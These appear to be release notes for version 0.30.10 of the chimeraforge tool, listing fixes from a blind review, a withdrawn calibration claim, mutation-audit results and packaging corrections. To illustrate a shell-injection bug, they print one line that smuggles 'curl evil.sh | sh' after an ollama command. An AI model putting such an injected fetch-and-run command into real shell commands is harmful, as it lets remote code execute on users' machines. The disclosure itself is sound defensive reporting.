v0.30.10

Closes the defects an independent blind review found in 0.30.9. Most are incompletenesses in earlier fixes — each was real, and each stopped one step short of the case that mattered.

Defect	The earlier fix that missed it
ollama run {tag} unquoted — shell injection	0.30.9 quoted the other three backends
phi-4 resolved to phi-2's facts (2.78B standing in for 14.66B)	0.30.1 refused only a mismatched size
An approximated alias stamped vram: measured	0.30.1 downgraded quality/safety, not VRAM
workload_cv2 reported measured and absent	introduced in 0.30.6
Reference GPU fp16_tflops was the desktop 4070 Ti's figure	0.30.4 fixed bandwidth + TDP, not TFLOPS
Four roofline fallbacks still at 556 GB/s	0.30.4 changed GPU_DB, not the fallbacks
Blank --hardware matched the first GPU in the database	—

The quoting one is the worst

ollama wins the default plan for most registry queries, so it is the most-emitted command — and the test class named TestLaunchCommandsAreQuoted parametrized exactly the three backends that were already correct:

ollama run llama3.2:3b; curl evil.sh | sh      <- emitted verbatim, for a human to paste

A claim from 0.30.4, withdrawn

The 0.30.4 notes said the bandwidth and MBU changes "cancel exactly" so the reference card's predictions were "unchanged to the digit". They do not: 0.65 x 556 = 361.40 against 0.84 x 432 = 362.88 — 0.41% apart. The new pair is still the better one (it reproduces the measured anchor at 146.32 where the old gave 145.73), but the cancellation claim was false. The published 0.30.4 release note is corrected in place, and the calibration is now pinned by a test.

Also in this release

• A mutation audit ran 30 mutations; 12 survived a fully green suite. Every survivor that matters is now pinned — the percentile interpolation behind every bench p50/p95/p99, SECONDS_PER_MONTH, QUANT_BPW["Q4_K_M"], the 70% utilisation safety cap, the Amdahl serial fractions, DECODE_COMPUTE_MFU, INTERCONNECT_EFFICIENCY and the agent variance preset.
• chimeraforge mcp printed an install command that fixes nothing — [mcp] was parsed as a Rich style tag and deleted, so the one message whose job is to hand the user the fix handed them pip install "chimeraforge". Escaped here and at four sibling sites.
• python -m chimeraforge exited 0 having printed nothing — no __main__.py, so the conventional module invocation silently did nothing at all.
• The sdist shipped a test suite that could not run — conftest.py, helpers.py and fixtures/ were excluded, so pytest tests/ from an unpacked sdist failed collection. 1470 now pass from a clean sdist, against four collection errors before.
• workflow_dispatch bypassed the release version guard, so a manual dispatch from any branch would publish whatever that branch declared.
• Three stale README performance figures re-derived with the exact command that reproduces each; the --fleet example no longer fails to produce a mix.

ruff check src/chimeraforge/         -> All checks passed!
pytest tests/ -q                     -> 1571 passed, 0 skipped

Full changelog: https://github.com/Sahil170595/Chimeraforge/blob/main/CHANGELOG.md